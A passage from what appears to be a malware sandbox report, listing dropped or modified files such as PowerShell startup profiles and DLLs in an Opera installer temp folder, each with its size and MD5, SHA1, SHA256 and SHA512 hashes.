SHA18c09f98b87723bad263f1dede41f4a1fde770378
SHA256a747c94d8b3186e847f595e196a2b35ec09f7c5c06094120f39a9f848f40f791
SHA5128c9ab1cc022e6fae89fdd8543d6659d872c6eb75ad9be38931708ecbd8ac482eadbd9843b1db3b50279af5827cdc28bd86db4764ec4e001cab72dd1cd0dff5f6
-
Filesize
140KB
MD5c2f2a89460ec09e9b2cd858414f42b2a
SHA198b11c4b15825aca2da5ca125d5959bbe7691ea4
SHA25685143e87a4dabb7dce8ad8db3996f42e13cc19f2544014f3f794eb76ffaff3d4
SHA512d6b468efea6daadde9d3e5169eda99db6844a7e86495e0f6a229e1636a3fa57dc75234fe8a10b636eb0017302a997e56d4845cc08f1d6a81dfab2633db62c1c2
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize2KB
MD5db01a2c1c7e70b2b038edf8ad5ad9826
SHA1540217c647a73bad8d8a79e3a0f3998b5abd199b
SHA256413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d
SHA512c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5947fe8bd1f515146732da6791be9c74e
SHA1db18ebbb76bd9e488b5149becc53b56326648a93
SHA25686afcd5e3c75b9e03b5d6980fd21ac90b547964ddb5bc12dec60e5db6e24675f
SHA51223b1aeccbafc5a06320754b50ec9b9bc57981ae287895054a4cb2b12311a006bb66d755d559c744f5399ae3c0035f6a8acb264dc195c4deef014ae6e076a7303
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD56d1917b4374c7ef914ee1f0a9ecb005e
SHA16fc9953fe54338ae3d8ce62e34aca059c83fe472
SHA256f3df78c6169e45d170b1724ad6eb3b03c74da763e9cb1bea9f7cb67b5a5e0349
SHA512d152f344b702fab3a0e693a816b0ee328a83847bbf281ae3fe1c6607c3f8cdabd51443145088ea39b046638a81a6f9cd4da722ed1940e2739e3f9a4eb5b6e9f1
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD549051d597e0a9f121f4ee97633dce171
SHA1af60e2997c610f8a1e3073cd88285f1b64f1214a
SHA256e80b86b8c027c12b4f1300e0e290bcd85d9fed9259b54da88b7be943a4450a83
SHA512c626f29e3d2869850697fbcba6bd9b78acd467b7183a0c46d784f8c45ce95ec2be8216b6a24084e4744d00cf119244b32cfb2046aeccfacc03fbf16263926535
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD58bf2555f15480d6c189ded36557ada03
SHA11d03e04103a106485c0fba1a7f60abf56ee63537
SHA25655901c52182b8cc4b6ca22156f4c2a306375ce76390267f593800b766cb18ff0
SHA5127e7ddd732c833a168aa797313e6982846a209f6eec496c14b8c9e9725697b56613a181c1b29d86584359660e9cf9f593928d0943249ae27201e1e10b284b59db
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD50740f8fb80e6faa13a40626942c4859d
SHA1c9a89c5e8a1f3380489fb48037c6f15f2c3c4cb4
SHA2563a8b8932a80bbcf66e9c1d24d630ed048168dc09a6a6b6e5da20dad99fc1baf8
SHA5122bcc44c3e037fc4e85b4f68366013a323e5fd08d326aa1b3fb2724a0b0a1f9fbc9a36925334994c5662213a089c91f80b74cbbe35c0b6d69d394956b18fd5504
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5b53afd9821d59da90e1b37118bbe0100
SHA11f6e8f9ff147f598f0b15431c8ba6e5751fe9132
SHA2567305e9a681ab25a7cd20288348e969fb0334fe903fc8dd767c8f23864d1cca37
SHA51282287ef91f2c1c6cd22139c07f3d4a0f2578fe13df167d44cb624335c4653ea40277aaef54d2cb6eb257d0a803660cfedc9329064a81be062f51d8d8507edf65
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD5d8026daaa45317b619f3fb57bfeb768a
SHA1604e5eecdfb638ab1860949fd897c8360c988fe7
SHA2565d9c377e298a7df337edf3cbd97f1f7dbe4f32d9455b9da40dd77ceb54e3c240
SHA512a98fb1a0413157dfd39b869214e5595694e6a10090a5903fbd96820164afdb5fdef83b016f5378887b02dfffc628071dfe829dc2390ccf02991160c9fee540f2
-
Filesize
535KB
MD55d7b3116f38645560e3ff404151f8d3a
SHA1e09e8e1644335ac0bd2c9b96de97e5176f5fa32a
SHA256eec99739cb2d1a89a84160603ec0822713972c6c44aa337d0118e3cecf98c98d
SHA512f6cfbce0c317d3e651434a22084f0c34bd7844fc23618abf9eb25fbcdde60fa24daacedc1e67e7c75815fac0adc479f9fd5944d90ee2f85672e08f4967286a3a
-
Filesize
137KB
MD53a70709c820e6f3b2198607b50380bb0
SHA1da6d55169f529e6087ad8a62044126079c5044d9
SHA256563a89dbf5662fab61eee8eb2944b2e67b21eb43e88af1c38022da08496074a6
SHA512f84bdd0b68620d30e21ce44fec02a4eb2b35ff59b5efdeafb63a590c810c5f6addf4ce91fdff7fb6982d53394534e5ca3e3022a725b2f46aba689fd06c1d1928
-
Filesize
111KB
MD51ad22feb4f76be1b02be35bb353b0e7a
SHA1de4dcb6524757daf3c951881eef3acf4c31749d7
SHA256f46a5b009a220d71ed2fbbe5893827425754589b52bdc4c80a1441d56444b039
SHA5125bb64801673d3cff0749e9f22178930381a66779d5b99612d7a68be362864d61fedb7295b3c659227f08465d117a56313c36982db5c0a7b5fa60921fa4bd7eee
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
Filesize
262KB
MD591a11f8840d904eed5698ef05fef9ff7
SHA1fb90033982d7a0612d07ee9e1cba6ec63ca05f89
SHA25654cb479e12a5e89fc27839f310d1e7c3e64530a114cbb696289c5ae15605e9e1
SHA512bfe4efdd5b1e8d04c21b89fb688be22390e555eebf9e55046d579606aa7e942814060d715e43b0b9a6c1741c8cea54652c5f6590dfbf5c6d7b419ae3c0d984a6
-
Filesize
286KB
MD57a2da85f81ea70af3c27e34b5f8562c4
SHA162dde336a87f5a75ad067d5b1f62f376d5cdf587
SHA256f4488a95aac2fb6b002dc3d0a14482ba2701e34adfbb56f3c2a82e311551194b
SHA5129427bea1e90028dd63cfef4b1fc888d4a0e91b55100f2920c21c2cc710dfa1c85fc1eb33bd24a49b1f9b74413a08d45b07833c21be4d698522c2ddf4825104e9
-
Filesize
413KB
MD54adda04dec8c79d019c2f99bf2b70906
SHA1da961ec7f2527728b0b4410cbff0ce9c0db10c87
SHA256090d18576b1c7d0ebfef32047e0601879172fa37e0cf5a0da7dd9435631a2133
SHA512ff1a07b814c148b47a0c05acb50284d347eeb2183168daa9db9d067b0e5d3978c7b0e98385b8c4e6f5d06db4b16e5d9f3a7abebd451dfd530e7083aaffac8110
-
\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbgcore.dll
Filesize166KB
MD5a59b6c6d04bac536cc7fafe92f0d1bda
SHA16d5bbdfafbe2ea65e3aa9abc088e0fc6e20be8a1
SHA256c2d92d6e9a3ea40f38d275499bef7ba899802f131160ce1a2f76314b87b531ac
SHA51249e748676c54482f7de089fb6eaa45b5cb3e59a1b9125d90619371678749a0b80cf8ef8c7cf75c8486d20b89639a8b679c23a671a2c3b6dff1f86ea9cb1a7f5c
-
\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbghelp.dll
Filesize305KB
MD50edf17d593332cbcdfbc0bbb7a87da7b
SHA135315663304089de4dfa36ca903c41d6c4ef5b12
SHA256aacc4d0e34049d1e56063b4330b6143f42fe5a7877d158faf07784a1b6fc2a87
SHA5128188f1e73cfb6587d31ac432172f8687bafc9a8d1de1800ab2f9342c5d5ef36e6fc57e4f3162f22fae5b80d1bc27782563b85c7968ab5adb7a30a445769f3189
-
\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbghelp.dll
Filesize465KB
MD5dfc46dc1aae1c3a0e2e0bdf87a1f13d3
SHA1fe57aeca7a76cba3cc034eff3168c737acc246bd
SHA2562639e16189ae1d0310246c45267fff49d0d1b3cc5c36a5066a35af8836d3c7b3
SHA51263243742364d379212d2ea39a6d3c6adf7ab20266aa8a57ba92bd3c61aa31d4b6a296fb47f2bade72165e4ad73263dfafca50a42f2739209d7b76c12dce7c2ae
-
Filesize
303KB
MD55aa627257a90e41056ea884c3e3f6214
SHA11a6a84b5eacc2626acb30cacef25c22e02c3af2f
SHA256b264b5d3977975e83b06668ab816d9a7b4cbb9b93ff649a03c7dcb736d107b96
SHA5122a338da09764e24447fc21e0ae14916cc3f9d966d1e064fcb8d0e16aeebacbfea30083af6ffcc00bc33c840ca69b27645c1456d223399b304f5c3aac6727f541
-
Filesize
250KB
MD5ee11a60596c426893700f4f389f8798a
SHA15aae3f6143c0c0c47d07977cde9e46c57b91cd2f
SHA25695c24504671853e43cb9404d800b9cd4aeabd170de6e5d52e999570a24d7faf7
SHA512ff6e631dbb9b593a754dd6caa26ebf1a11ae31c290d996f77502102ebc88bf019764f542ae47566339ccd1f55fb63e34f63f392c8bc5f10b06f0548f9463bd9a
-
Filesize
197KB
MD53926b4a92d75a287e27bb510c926fe30
SHA14a9e4b9a137b9eccd96f90065c015a4809086d19
SHA2569231913386cfe821b0a8c98fad226f2f1bb6e13d1ecadd84ec25fa5d6a7689ba
SHA512b5b22599d9de9c4a162b879311d56bf6487cfcbaabaf2902c945725c2e6e04bdcf567ee83f911e2b43c97ffd2f28d371906aaa06b1e175b0951291e5f535bb12
-
Filesize
30KB
MD51fe798b50e3deaf7a5cfb1d69a107e1a
SHA11d2e241fdcfb61edc43ad53440c3b0f0fce0d730
SHA2560d848c5d837cd9506cddffc8b1c5897ad8b7d049bba1c441dd11c551639402a2
SHA51222fb5b1747314a31163a3b9d207f6c79c24c521708b69222b6db0d6a06b012f951ca3b770f68994ac1df355c8e2db3b58c6533d89c5536606d5a67e203ccf6ed
-
Filesize
126KB
MD54862859fd18111ad2bba6ad4e43c5997
SHA1d01ea28c94696a60c6687883bdb8884209686953
SHA25681dd8ad6ea805a80c010d8d11651dd74d225d512878c980a6778bfe81cb9207a
SHA5126237ee7e14e207d2961bdde7a002496d7351ad9d89cdae54f7da1848eb38bce4e1ecf7cc955adacea8b575e926b4b2534c45ebaf7781b75c48958cecbbc09689